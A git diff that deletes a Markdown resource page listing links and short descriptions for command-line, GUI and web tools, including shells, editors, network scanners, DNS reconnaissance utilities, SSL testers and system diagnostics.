diff --git a/docs/content/cheat-sheets/web-resources.md b/docs/content/cheat-sheets/web-resources.md
deleted file mode 100644
index 7ff49bb7bf..0000000000
--- a/docs/content/cheat-sheets/web-resources.md
+++ /dev/null
@@ -1,2073 +0,0 @@
----
-title: Resources
-subtitle: This is a short page about me and my work.
-img_alt: Portrait of a man with beard and mustache
-seo:
-    title: About Me
-    description: This is the about me page
-    extra:
-        - name: 'og:type'
-          value: website
-          keyName: property
-        - name: 'og:title'
-          value: About Me
-          keyName: property
-        - name: 'og:description'
-          value: This is the about me page
-          keyName: property
-        - name: 'og:image'
-          value: images/about.jpg
-          keyName: property
-          relativeUrl: true
-        - name: 'twitter:card'
-          value: summary_large_image
-        - name: 'twitter:title'
-          value: About Me
-        - name: 'twitter:description'
-          value: This is the about me page
-        - name: 'twitter:image'
-          value: images/about.jpg
-          relativeUrl: true
-template: page
----
-
-# Ultimate Resource List&#xA;&#xA;
-
--   [**CLI Tools**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#cli-tools-toc)
-
--   [**GUI Tools**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#gui-tools-toc)
-
--   [**Web Tools**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#web-tools-toc)
-
--   [**Systems/Services**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#systemsservices-toc)
-
--   [**Networks**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#networks-toc)
-
--   [**Containers/Orchestration**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#containersorchestration-toc)
-
--   [**Manuals/Howtos/Tutorials**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#manualshowtostutorials-toc)
-
--   [**Inspiring Lists**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#inspiring-lists-toc)
-
--   [**Blogs/Podcasts/Videos**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#blogspodcastsvideos-toc)
-
--   [**Hacking/Penetration Testing**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#hackingpenetration-testing-toc)
-
--   [**Your daily knowledge and news**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#your-daily-knowledge-and-news-toc)
-
--   [**Other Cheat Sheets**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#other-cheat-sheets-toc)
-
--   [**One-liners**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#one-liners-toc)
-
--   [**Shell functions**](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#shell-functions-toc)
-
-## 🔱
-
-#### CLI Tools [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Shells
-
--   [✅] [**GNU Bash**](https://www.gnu.org/software/bash/) - is an sh-compatible shell that incorporates useful features from the Korn shell and C shell.
-
--   [✅] [**Zsh**](https://www.zsh.org/) - is a shell designed for interactive use, although it is also a powerful scripting language.
-
--   [✅] [**tclsh**](https://tcl-lang.org/) - is a very powerful cross-platform shell, suitable for a huge range of uses.
-
--   [✅] [**bash-it**](https://github.com/Bash-it/bash-it) - is a framework for using, developing and maintaining shell scripts and custom commands.
-
--   [✅] [**Oh My ZSH!**](https://ohmyz.sh/) - is the best framework for managing your Zsh configuration.
-
--   [✅] [**Oh My Fish**](https://github.com/oh-my-fish/oh-my-fish) - the Fishshell framework.
-
--   [✅] [**Starship**](https://github.com/starship/starship) - the cross-shell prompt written in Rust.
-
--   [✅] [**powerlevel10k**](https://github.com/romkatv/powerlevel10k) - is a fast reimplementation of Powerlevel9k ZSH theme.
-
-##### ▪️ Shell plugins
-
--   [✅] [**z**](https://github.com/rupa/z) - tracks the folder you use the most and allow you to jump, without having to type the whole path.
-
--   [✅] [**fzf**](https://github.com/junegunn/fzf) - is a general-purpose command-line fuzzy finder.
-
--   [✅] [**zsh-autosuggestions**](https://github.com/zsh-users/zsh-autosuggestions) - Fish-like autosuggestions for Zsh.
-
--   [✅] [**zsh-syntax-highlighting**](https://github.com/zsh-users/zsh-syntax-highlighting) - Fish shell like syntax highlighting for Zsh.
-
--   [✅] [**Awesome ZSH Plugins**](https://github.com/unixorn/awesome-zsh-plugins) - A list of frameworks, plugins, themes and tutorials for ZSH.
-
-##### ▪️ Managers
-
--   [✅] [**Midnight Commander**](https://midnight-commander.org/) - is a visual file manager, licensed under GNU General Public License.
-
--   [✅] [**ranger**](https://github.com/ranger/ranger) - is a VIM-inspired filemanager for the console.
-
--   [✅] [**nnn**](https://github.com/jarun/nnn) - is a tiny, lightning fast, feature-packed file manager.
-
--   [✅] [**screen**](https://www.gnu.org/software/screen/) - is a full-screen window manager that multiplexes a physical terminal.
-
--   [✅] [**tmux**](https://github.com/tmux/tmux/wiki) - is a terminal multiplexer, lets you switch easily between several programs in one terminal.
-
--   [✅] [**tmux-cssh**](https://github.com/peikk0/tmux-cssh) - is a tool to set comfortable and easy to use functionality, clustering and synchronizing tmux-sessions.
-
-##### ▪️ Text editors
-
--   [✅] [**vi**](http://ex-vi.sourceforge.net/) - is one of the most common text editors on Unix.
-
--   [✅] [**vim**](https://www.vim.org/) - is a highly configurable text editor.
-
--   [✅] [**emacs**](https://www.gnu.org/software/emacs/) - is an extensible, customizable, free/libre text editor, and more.
-
--   [✅] [**micro**](https://github.com/zyedidia/micro) - is a modern and intuitive terminal-based text editor.
-
--   [✅] [**neovim**](https://neovim.io/) - is a free open source, powerful, extensible and usable code editor.
-
--   [✅] [**spacemacs**](https://www.spacemacs.org/) - a community-driven Emacs distribution.
-
--   [✅] [**spacevim**](https://spacevim.org/) - a community-driven vim distribution.
-
-##### ▪️ Files and directories
-
--   [✅] [**fd**](https://github.com/sharkdp/fd) - is a simple, fast and user-friendly alternative to find.
-
--   [✅] [**ncdu**](https://dev.yorhel.nl/ncdu) - is an easy to use, fast disk usage analyzer.
-
-##### ▪️ Network
-
--   [✅] [**PuTTY**](https://www.putty.org/) - is an SSH and telnet client, developed originally by Simon Tatham.
-
--   [✅] [**Mosh**](https://mosh.org/) - is a SSH wrapper designed to keep a SSH session alive over a volatile connection.
-
--   [✅] [**Eternal Terminal**](https://eternalterminal.dev/) - enables mouse-scrolling and tmux commands inside the SSH session.
-
--   [✅] [**nmap**](https://nmap.org/) - is a free and open source (license) utility for network discovery and security auditing.
-
--   [✅] [**zmap**](https://github.com/zmap/zmap) - is a fast single packet network scanner designed for Internet-wide network surveys.
-
--   [✅] [**Rust Scan**](https://github.com/RustScan/RustScan) - to find all open ports faster than Nmap.
-
--   [✅] [**masscan**](https://github.com/robertdavidgraham/masscan) - is the fastest Internet port scanner, spews SYN packets asynchronously.
-
--   [✅] [**pbscan**](https://github.com/gvb84/pbscan) - is a faster and more efficient stateless SYN scanner and banner grabber.
-
--   [✅] [**hping**](http://www.hping.org/) - is a command-line oriented TCP/IP packet assembler/analyzer.
-
--   [✅] [**mtr**](https://github.com/traviscross/mtr) - is a tool that combines the functionality of the 'traceroute' and 'ping' programs in a single tool.
-
--   [✅] [**mylg**](https://github.com/mehrdadrad/mylg) - utility which combines the functions of the different network probes in one diagnostic tool.
-
--   [✅] [**netcat**](http://netcat.sourceforge.net/) - utility which reads and writes data across network connections, using the TCP/IP protocol.
-
--   [✅] [**socat**](http://www.dest-unreach.org/socat/) - utility which transfers data between two objects.
-
--   [✅] [**tcpdump**](https://www.tcpdump.org/) - is a powerful command-line packet analyzer.
-
--   [✅] [**tshark**](https://www.wireshark.org/docs/man-pages/tshark.html) - is a tool that allows us to dump and analyze network traffic (wireshark cli).
-
--   [✅] [**Termshark**](https://termshark.io/) - is a simple terminal user-interface for tshark.
-
--   [✅] [**ngrep**](https://github.com/jpr5/ngrep) - is like GNU grep applied to the network layer.
-
--   [✅] [**netsniff-ng**](http://netsniff-ng.org/) - is a Swiss army knife for your daily Linux network plumbing if you will.
-
--   [✅] [**sockdump**](https://github.com/mechpen/sockdump) - dump unix domain socket traffic.
-
--   [✅] [**stenographer**](https://github.com/google/stenographer) - is a packet capture solution which aims to quickly spool all packets to disk.
-
--   [✅] [**tcpterm**](https://github.com/sachaos/tcpterm) - visualize packets in TUI.
-
--   [✅] [**bmon**](https://github.com/tgraf/bmon) - is a monitoring and debugging tool to capture networking related statistics and prepare them visually.
-
--   [✅] [**iptraf-ng**](http://iptraf.seul.org/2.6/manual.html#installation) - is a console-based network monitoring program for Linux that displays information about IP traffic.
-
--   [✅] [**vnstat**](https://github.com/vergoh/vnstat) - is a network traffic monitor for Linux and BSD.
-
--   [✅] [**iPerf3**](https://iperf.fr/) - is a tool for active measurements of the maximum achievable bandwidth on IP networks.
-
--   [✅] [**ethr**](https://github.com/Microsoft/Ethr) - is a Network Performance Measurement Tool for TCP, UDP & HTTP.
-
--   [✅] [**Etherate**](https://github.com/jwbensley/Etherate) - is a Linux CLI based Ethernet and MPLS traffic testing tool.
-
--   [✅] [**echoip**](https://github.com/mpolden/echoip) - is a IP address lookup service.
-
--   [✅] [**Nemesis**](https://github.com/troglobit/nemesis) - packet manipulation CLI tool; craft and inject packets of several protocols.
-
--   [✅] [**packetfu**](https://github.com/packetfu/packetfu) - a mid-level packet manipulation library for Ruby.
-
--   [✅] [**Scapy**](https://scapy.net/) - packet manipulation library; forge, send, decode, capture packets of a wide number of protocols.
-
--   [✅] [**impacket**](https://github.com/SecureAuthCorp/impacket) - is a collection of Python classes for working with network protocols.
-
--   [✅] [**ssh-audit**](https://github.com/arthepsy/ssh-audit) - is a tool for SSH server auditing.
-
--   [✅] [**aria2**](https://aria2.github.io/) - is a lightweight multi-protocol & multi-source command-line download utility.
-
--   [✅] [**iptables-tracer**](https://github.com/x-way/iptables-tracer) - observe the path of packets through the iptables chains.
-
--   [✅] [**inception**](https://github.com/proabiral/inception) - a highly configurable tool to check for whatever you like against any number of hosts.
-
-##### ▪️ Network (DNS)
-
--   [✅] [**dnsdiag**](https://github.com/farrokhi/dnsdiag) - is a DNS diagnostics and performance measurement tools.
-
--   [✅] [**fierce**](https://github.com/mschwager/fierce) - is a DNS reconnaissance tool for locating non-contiguous IP space.
-
--   [✅] [**subfinder**](https://github.com/subfinder/subfinder) - is a subdomain discovery tool that discovers valid subdomains for websites.
-
--   [✅] [**sublist3r**](https://github.com/aboul3la/Sublist3r) - is a fast subdomains enumeration tool for penetration testers.
-
--   [✅] [**amass**](https://github.com/OWASP/Amass) - is tool that obtains subdomain names by scraping data sources, crawling web archives, and more.
-
--   [✅] [**namebench**](https://github.com/google/namebench) - provides personalized DNS server recommendations based on your browsing history.
-
--   [✅] [**massdns**](https://github.com/blechschmidt/massdns) - is a high-performance DNS stub resolver for bulk lookups and reconnaissance.
-
--   [✅] [**knock**](https://github.com/guelfoweb/knock) - is a tool to enumerate subdomains on a target domain through a wordlist.
-
--   [✅] [**dnsperf**](https://github.com/DNS-OARC/dnsperf) - DNS performance testing tools.
-
--   [✅] [**dnscrypt-proxy 2**](https://github.com/jedisct1/dnscrypt-proxy) - a flexible DNS proxy, with support for encrypted DNS protocols.
-
--   [✅] [**dnsdbq**](https://github.com/dnsdb/dnsdbq) - API client providing access to passive DNS database systems.
-
--   [✅] [**grimd**](https://github.com/looterz/grimd) - fast dns proxy, built to black-hole internet advertisements and malware servers.
-
-##### ▪️ Network (HTTP)
-
--   [✅] [**curl**](https://curl.haxx.se/) - is a command line tool and library for transferring data with URLs.
-
--   [✅] [**kurly**](https://gitlab.com/davidjpeacock/kurly) - is an alternative to the widely popular curl program, written in Golang.
-
--   [✅] [**HTTPie**](https://github.com/jakubroztocil/httpie) - is an user-friendly HTTP client.
-
--   [✅] [**wuzz**](https://github.com/asciimoo/wuzz) - is an interactive cli tool for HTTP inspection.
-
--   [✅] [**h2spec**](https://github.com/summerwind/h2spec) - is a conformance testing tool for HTTP/2 implementation.
-
--   [✅] [**h2t**](https://github.com/gildasio/h2t) - is a simple tool to help sysadmins to hardening their websites.
-
--   [✅] [**htrace.sh**](https://github.com/trimstray/htrace.sh) - is a simple Swiss Army knife for http/https troubleshooting and profiling.
-
--   [✅] [**httpstat**](https://github.com/reorx/httpstat) - is a tool that visualizes curl statistics in a way of beauty and clarity.
-
--   [✅] [**httplab**](https://github.com/gchaincl/httplab) - is an interactive web server.
-
--   [✅] [**Lynx**](https://lynx.browser.org/) - is a text browser for the World Wide Web.
-
--   [✅] [**Browsh**](https://github.com/browsh-org/browsh/) - is a fully interactive, real-time, and modern text-based browser.
-
--   [✅] [**HeadlessBrowsers**](https://github.com/dhamaniasad/HeadlessBrowsers) - a list of (almost) all headless web browsers in existence.
-
--   [✅] [**ab**](https://httpd.apache.org/docs/2.4/programs/ab.html) - is a single-threaded command line tool for measuring the performance of HTTP web servers.
-
--   [✅] [**siege**](https://www.joedog.org/siege-home/) - is an http load testing and benchmarking utility.
-
--   [✅] [**wrk**](https://github.com/wg/wrk) - is a modern HTTP benchmarking tool capable of generating significant load.
-
--   [✅] [**wrk2**](https://github.com/giltene/wrk2) - is a constant throughput, correct latency recording variant of wrk.
-
--   [✅] [**vegeta**](https://github.com/tsenart/vegeta) - is a constant throughput, correct latency recording variant of wrk.
-
--   [✅] [**bombardier**](https://github.com/codesenberg/bombardier) - is a fast cross-platform HTTP benchmarking tool written in Go.
-
--   [✅] [**gobench**](https://github.com/cmpxchg16/gobench) - http/https load testing and benchmarking tool.
-
--   [✅] [**hey**](https://github.com/rakyll/hey) - HTTP load generator, ApacheBench (ab) replacement, formerly known as rakyll/boom.
-
--   [✅] [**boom**](https://github.com/tarekziade/boom) - is a script you can use to quickly smoke-test your web app deployment.
-
--   [✅] [**SlowHTTPTest**](https://github.com/shekyan/slowhttptest) - is a tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP.
-
--   [✅] [**gobuster**](https://github.com/OJ/gobuster) - is a free and open source directory/file & DNS busting tool written in Go.
-
--   [✅] [**ssllabs-scan**](https://github.com/ssllabs/ssllabs-scan) - command-line reference-implementation client for SSL Labs APIs.
-
--   [✅] [**http-observatory**](https://github.com/mozilla/http-observatory) - Mozilla HTTP Observatory cli version.
-
-##### ▪️ SSL
-
--   [✅] [**openssl**](https://www.openssl.org/) - is a robust, commercial-grade, and full-featured toolkit for the TLS and SSL protocols.
-
--   [✅] [**gnutls-cli**](https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html) - client program to set up a TLS connection to some other computer.
-
--   [✅] [**sslyze **](https://github.com/nabla-c0d3/sslyze)- fast and powerful SSL/TLS server scanning library.
-
--   [✅] [**sslscan**](https://github.com/rbsec/sslscan) - tests SSL/TLS enabled services to discover supported cipher suites.
-
--   [✅] [**testssl.sh**](https://github.com/drwetter/testssl.sh) - testing TLS/SSL encryption anywhere on any port.
-
--   [✅] [**cipherscan**](https://github.com/mozilla/cipherscan) - a very simple way to find out which SSL ciphersuites are supported by a target.
-
--   [✅] [**spiped**](http://www.tarsnap.com/spiped.html) - is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses.
-
--   [✅] [**Certbot**](https://github.com/certbot/certbot) - is EFF's tool to obtain certs from Let's Encrypt and (optionally) auto-enable HTTPS on your server.
-
--   [✅] [**mkcert**](https://github.com/FiloSottile/mkcert) - simple zero-config tool to make locally trusted development certificates with any names you'd like.
-
--   [✅] [**certstrap**](https://github.com/square/certstrap) - tools to bootstrap CAs, certificate requests, and signed certificates.
-
--   [✅] [**Sublert**](https://github.com/yassineaboukir/sublert) - is a security and reconnaissance tool to automatically monitor new subdomains.
-
--   [✅] [**mkchain**](https://github.com/trimstray/mkchain) - open source tool to help you build a valid SSL certificate chain.
-
-##### ▪️ Security
-
--   [✅] [**SELinux**](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux) - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel.
-
--   [✅] [**AppArmor**](https://wiki.ubuntu.com/AppArmor) - proactively protects the operating system and applications from external or internal threats.
-
--   [✅] [**grapheneX**](https://github.com/grapheneX/grapheneX) - Automated System Hardening Framework.
-
--   [✅] [**DevSec Hardening Framework**](https://github.com/dev-sec/) - Security + DevOps: Automatic Server Hardening.
-
-##### ▪️ Auditing Tools
-
--   [✅] [**ossec**](https://www.ossec.net/) - actively monitoring all aspects of system activity with file integrity monitoring.
-
--   [✅] [**auditd**](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing) - provides a way to track security-relevant information on your system.
-
--   [✅] [**Tiger**](https://www.nongnu.org/tiger/) - is a security tool that can be use both as a security audit and intrusion detection system.
-
--   [✅] [**Lynis**](https://cisofy.com/lynis/) - battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.
-
--   [✅] [**LinEnum**](https://github.com/rebootuser/LinEnum) - scripted Local Linux Enumeration & Privilege Escalation Checks.
-
--   [✅] [**Rkhunter**](https://github.com/installation/rkhunter) - scanner tool for Linux systems that scans backdoors, rootkits and local exploits on your systems.
-
--   [✅] [**PE-sieve**](https://github.com/hasherezade/pe-sieve) - is a light-weight tool that helps to detect malware running on the system.
-
-##### ▪️ System Diagnostics/Debuggers
-
--   [✅] [**strace**](https://github.com/strace/strace) - diagnostic, debugging and instructional userspace utility for Linux.
-
--   [✅] [**DTrace**](http://dtrace.org/blogs/about/) - is a performance analysis and troubleshooting tool.
-
--   [✅] [**ltrace**](https://en.wikipedia.org/wiki/Ltrace) - is a library call tracer, used to trace calls made by programs to library functions.
-
--   [✅] [**ptrace-burrito**](https://github.com/brainsmoke/ptrace-burrito) - is a friendly wrapper around ptrace.
-
--   [✅] [**perf-tools**](https://github.com/brendangregg/perf-tools) - performance analysis tools based on Linux perf_events (aka perf) and ftrace.
-
--   [✅] [**bpftrace**](https://github.com/iovisor/bpftrace) - high-level tracing language for Linux eBPF.
-
--   [✅] [**sysdig**](https://github.com/draios/sysdig) - system exploration and troubleshooting tool with first class support for containers.
-
--   [✅] [**Valgrind**](http://www.valgrind.org/) - is an instrumentation framework for building dynamic analysis tools.
-
--   [✅] [**gperftools**](https://github.com/gperftools/gperftools) - high-performance multi-threaded malloc() implementation, plus some performance analysis tools.
-
--   [✅] [**glances**](https://nicolargo.github.io/glances/) - cross-platform system monitoring tool written in Python.
-
--   [✅] [**htop**](https://github.com/hishamhm/htop) - interactive text-mode process viewer for Unix systems. It aims to be a better 'top'.
-
--   [✅] [**bashtop**](https://github.com/aristocratos/bashtop) - Linux resource monitor written in pure Bash.
-
--   [✅] [**nmon**](http://nmon.sourceforge.net/pmwiki.php) - a single executable for performance monitoring and data analysis.
-
--   [✅] [**atop**](https://www.atoptool.nl/) - ASCII performance monitor. Includes statistics for CPU, memory, disk, swap, network, and processes.
-
--   [✅] [**lsof**](https://en.wikipedia.org/wiki/Lsof) - displays in its output information about files that are opened by processes.
-
--   [✅] [**FlameGraph**](http://www.brendangregg.com/flamegraphs.html) - stack trace visualizer.
-
--   [✅] [**lsofgraph**](https://github.com/zevv/lsofgraph) - convert Unix lsof output to a graph showing FIFO and UNIX interprocess communication.
-
--   [✅] [**rr**](https://github.com/mozilla/rr) - is a lightweight tool for recording, replaying and debugging execution of applications.
-
--   [✅] [**Performance Co-Pilot**](https://pcp.io/index.html) - a system performance analysis toolkit.
-
--   [✅] [**hexyl**](https://github.com/sharkdp/hexyl) - a command-line hex viewer.
-
-##### ▪️ Log Analyzers
-
--   [✅] [**angle-grinder**](https://github.com/rcoh/angle-grinder) - slice and dice log files on the command line.
-
--   [✅] [**lnav**](https://lnav.org/) - log file navigator with search and automatic refresh.
-
--   [✅] [**GoAccess**](https://goaccess.io/) - real-time web log analyzer and interactive viewer that runs in a terminal.
-
--   [✅] [**ngxtop**](https://github.com/lebinh/ngxtop) - real-time metrics for nginx server.
-
-##### ▪️ Databases
-
--   [✅] [**usql**](https://github.com/xo/usql) - universal command-line interface for SQL databases.
-
--   [✅] [**pgcli**](https://github.com/dbcli/pgcli) - postgres CLI with autocompletion and syntax highlighting.
-
--   [✅] [**mycli**](https://github.com/dbcli/mycli) - terminal client for MySQL with autocompletion and syntax highlighting.
-
--   [✅] [**litecli**](https://github.com/dbcli/litecli) - SQLite CLI with autocompletion and syntax highlighting.
-
--   [✅] [**mssql-cli**](https://github.com/dbcli/mssql-cli) - SQL Server CLI with autocompletion and syntax highlighting.
-
--   [✅] [**OSQuery**](https://github.com/osquery/osquery) - is a SQL powered operating system instrumentation, monitoring, and analytics framework.
-
--   [✅] [**pgsync**](https://github.com/ankane/pgsync) - sync data from one Postgres database to another.
-
--   [✅] [**iredis**](https://github.com/laixintao/iredis) - a terminal client for redis with autocompletion and syntax highlighting.
-
-##### ▪️ TOR
-
--   [✅] [**Nipe**](https://github.com/GouveaHeitor/nipe) - script to make Tor Network your default gateway.
-
--   [✅] [**multitor**](https://github.com/trimstray/multitor) - a tool that lets you create multiple TOR instances with a load-balancing.
-
-##### ▪️ Messengers/IRC Clients
-
--   [✅] [**Irssi**](https://irssi.org/) - is a free open source terminal based IRC client.
-
--   [✅] [**WeeChat**](https://weechat.org/) - is an extremely extensible and lightweight IRC client.
-
-##### ▪️ Productivity
-
--   [✅] [**taskwarrior**](https://taskwarrior.org/) - task management system, todo list
-
-##### ▪️ Other
-
--   [✅] [**sysadmin-util**](https://github.com/skx/sysadmin-util) - tools for Linux/Unix sysadmins.
-
--   [✅] [**incron**](http://inotify.aiken.cz/) - is an inode-based filesystem notification technology.
-
--   [✅] [**lsyncd**](https://github.com/axkibe/lsyncd) - synchronizes local directories with remote targets (Live Syncing Daemon).
-
--   [✅] [**GRV**](https://github.com/rgburke/grv) - is a terminal based interface for viewing Git repositories.
-
--   [✅] [**Tig**](https://jonas.github.io/tig/) - text-mode interface for Git.
-
--   [✅] [**tldr**](https://github.com/tldr-pages/tldr) - simplified and community-driven man pages.
-
--   [✅] [**archiver**](https://github.com/mholt/archiver) - easily create and extract .zip, .tar, .tar.gz, .tar.bz2, .tar.xz, .tar.lz4, .tar.sz, and .rar.
-
--   [✅] [**commander.js**](https://github.com/tj/commander.js) - minimal CLI creator in JavaScript.
-
--   [✅] [**gron**](https://github.com/tomnomnom/gron) - make JSON greppable!
-
--   [✅] [**bed**](https://github.com/itchyny/bed) - binary editor written in Go.
-
-#### GUI Tools [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Terminal emulators
-
--   [✅] [**Guake**](https://github.com/Guake/guake) - is a dropdown terminal made for the GNOME desktop environment.
-
--   [✅] [**Terminator**](https://gnometerminator.blogspot.com/p/introduction.html) - is based on GNOME Terminal, useful features for sysadmins and other users.
-
--   [✅] [**Kitty**](https://sw.kovidgoyal.net/kitty/) - is a GPU based terminal emulator that supports smooth scrolling and images.
-
--   [✅] [**Alacritty**](https://github.com/alacritty/alacritty) - is a fast, cross-platform, OpenGL terminal emulator.
-
-##### ▪️ Network
-
--   [✅] [**Wireshark**](https://www.wireshark.org/) - is the world's foremost and widely-used network protocol analyzer.
-
--   [✅] [**Ettercap**](https://www.ettercap-project.org/) - is a comprehensive network monitor tool.
-
--   [✅] [**EtherApe**](https://etherape.sourceforge.io/) - is a graphical network monitoring solution.
-
--   [✅] [**Packet Sender**](https://packetsender.com/) - is a networking utility for packet generation and built-in UDP/TCP/SSL client and servers.
-
--   [✅] [**Ostinato**](https://ostinato.org/) - is a packet crafter and traffic generator.
-
--   [✅] [**JMeter™**](https://jmeter.apache.org/) - open source software to load test functional behavior and measure performance.
-
--   [✅] [**locust**](https://github.com/locustio/locust) - scalable user load testing tool written in Python.
-
-##### ▪️ Browsers
-
--   [✅] [**TOR Browser**](https://www.torproject.org/) - protect your privacy and defend yourself against network surveillance and traffic analysis.
-
-##### ▪️ Password Managers
-
--   [✅] [**KeePassXC**](https://keepassxc.org/) - store your passwords safely and auto-type them into your everyday websites and apps.
-
--   [✅] [**Bitwarden**](https://bitwarden.com/) - open source password manager with built-in sync.
-
-##### ▪️ Messengers/IRC Clients
-
--   [✅] [**HexChat**](https://hexchat.github.io/index.html) - is an IRC client based on XChat.
-
--   [✅] [**Pidgin**](https://pidgin.im/) - is an easy to use and free chat client used by millions.
-
-##### ▪️ Messengers (end-to-end encryption)
-
--   [✅] [**Signal**](https://www.signal.org/) - is an encrypted communications app.
-
--   [✅] [**Wire**](https://wire.com/en/) - secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end encryption.
-
--   [✅] [**TorChat**](https://github.com/prof7bit/TorChat) - decentralized anonymous instant messenger on top of Tor Hidden Services.
-
--   [✅] [**Matrix**](https://matrix.org/) - an open network for secure, decentralized, real-time communication.
-
-##### ▪️ Text editors
-
--   [✅] [**Sublime Text**](https://www.sublimetext.com/3) - is a lightweight, cross-platform code editor known for its speed, ease of use.
-
--   [✅] [**Visual Studio Code**](https://code.visualstudio.com/) - an open-source and free source code editor developed by Microsoft.
-
--   [✅] [**Atom**](https://atom.io/) - a hackable text editor for the 21st Century.
-
-#### Web Tools [\[TOC\]](https://gist.github.com/bgoonz/be5c5be77169ef333b431bc37d331176#anger-table-of-contents)
-
-##### ▪️ Browsers
-
--   [✅] [**SSL/TLS Capabilities of Your Browser**](https://www.ssllabs.com/ssltest/viewMyClient.html) - test your browser's SSL implementation.
-
--   [✅] [**Can I use**](https://caniuse.com/) - provides up-to-date browser support tables for support of front-end web technologies.
-
--   [✅] [**Panopticlick 3.0**](https://panopticlick.eff.org/) - is your browser safe against tracking?
-
--   [✅] [**Privacy Analyzer**](https://privacy.net/analyzer/) - see what data is exposed from your browser.
-
--   [✅] [**Web Browser Security**](https://browserleaks.com/) - it's all about Web Browser fingerprinting.
-
--   [✅] [**How's My SSL?**](https://www.howsmyssl.com/) - help a web server developer learn what real world TLS clients were capable of.
-
--   [✅] [**sslClientInfo**](https://suche.org/sslClientInfo) - client test (incl TLSv1.3 information).
-
-##### ▪️ SSL/Security
-
--   [✅] [**SSLLabs Server Test**](https://www.ssllabs.com/ssltest/) - performs a deep analysis of the configuration of any SSL web server.
-
--   [✅] [**SSLLabs Server Test (DEV)**](https://dev.ssllabs.com/ssltest/) - performs a deep analysis of the configuration of any SSL web server.
-
--   [✅] [**ImmuniWeb® SSLScan**](https://www.immuniweb.com/ssl/) - test SSL/TLS (PCI DSS, HIPAA and NIST).
-
--   [✅] [**SSL Check**](https://www.jitbit.com/sslcheck/) - scan your website for non-secure content.
-
--   [✅] [**SSL Scanner**](http://www.ssltools.com/) - analyze website security.
-
--   [✅] [**CryptCheck**](https://cryptcheck.fr/) - test your TLS server configuration (e.g. ciphers).
-
--   [✅] [**urlscan.io**](https://urlscan.io/) - service to scan and analyse websites.
-
--   [✅] [**Report URI**](https://report-uri.com/home/tools) - monitoring security policies like CSP and HPKP.
-
--   [✅] [**CSP Evaluator**](https://csp-evaluator.withgoogle.com/) - allows developers and security experts to check if a Content Security Policy.
-
--   [✅] [**Useless CSP**](https://uselesscsp.com/) - public list about CSP in some big players (might make them care a bit more).
-
--   [✅] [**Why No HTTPS?**](https://whynohttps.com/) - top 100 websites by Alexa rank not automatically redirecting insecure requests.
-
--   [✅] [**TLS Cipher Suite Search**](https://ciphersuite.info/)- cipher suite search engine.
-
--   [✅] [**cipherli.st**](https://github.com/RaymiiOrg/cipherli.st) - strong ciphers for Apache, Nginx, Lighttpd, and more.**\***
-
--   [✅] [**dhtool**](https://2ton.com.au/dhtool/) - public Diffie-Hellman parameter service/tool.
-
--   [✅] [**badssl.com**](https://badssl.com/) - memorable site for testing clients against bad SSL configs.
-
--   [✅] [**tlsfun.de**](https://tlsfun.de/) - registered for various tests regarding the TLS/SSL protocol.
-
--   [✅] [**CAA Record Helper**](https://sslmate.com/caa/) - generate a CAA policy.
-
--   [✅] [**Common CA Database**](https://ccadb.org/resources) - repository of information about CAs, and their root and intermediate certificates.
-
--   [✅] [**CERTSTREAM**](https://certstream.calidog.io/) - real-time certificate transparency log update stream.
-
--   [✅] [**crt.sh**](https://crt.sh/) - discovers certificates by continually monitoring all of the publicly known CT.
-
--   [✅] [**Hardenize**](https://www.hardenize.com/) - deploy the security standards.
-
--   [✅] [**Cipher suite compatibility**](https://cryptcheck.fr/suite/) - test TLS cipher suite compatibility.
-
--   [✅] [**urlvoid**](https://www.urlvoid.com/) - this service helps you detect potentially malicious websites.
-
--   [✅] [**security.txt**](https://securitytxt.org/) - a proposed standard (generator) which allows websites to define security policies.
-
--   [✅] [**ssl-config-generator**](https://github.com/mozilla/ssl-config-generator) - help you follow the Mozilla Server Side TLS configuration guidelines.
-
-##### ▪️ HTTP Headers & Web Linters
-
--   [✅] [**Security Headers**](https://securityheaders.com/) - analyse the HTTP response headers (with rating system to the results).
-
--   [✅] [**Observatory by Mozilla**](https://observatory.mozilla.org/) - set of tools to analyze your website.
-
--   [✅] [**webhint**](https://webhint.io/) - is a linting tool that will help you with your site's accessibility, speed, security, and more.
-
-##### ▪️ DNS
-
--   [✅] [**ViewDNS**](http://viewdns.info/) - one source for free DNS related tools and information.
-
--   [✅] [**DNSLookup**](https://dnslookup.org/) - is an advanced DNS lookup tool.
-
--   [✅] [**DNSlytics**](https://dnslytics.com/) - online DNS investigation tool.
-
--   [✅] [**DNS Spy**](https://dnsspy.io/) - monitor, validate and verify your DNS configurations.
-
--   [✅] [**Zonemaster**](https://zonemaster.iis.se/en/) - helps you to control how your DNS works.
-
--   [✅] [**Leaf DNS**](http://leafdns.com/) - comprehensive DNS tester.
-
--   [✅] [**Find subdomains online**](https://findsubdomains.com/) - find subdomains for security assessment penetration test.
-
--   [✅] [**DNSdumpster**](https://dnsdumpster.com/) - dns recon & research, find & lookup dns records.
-
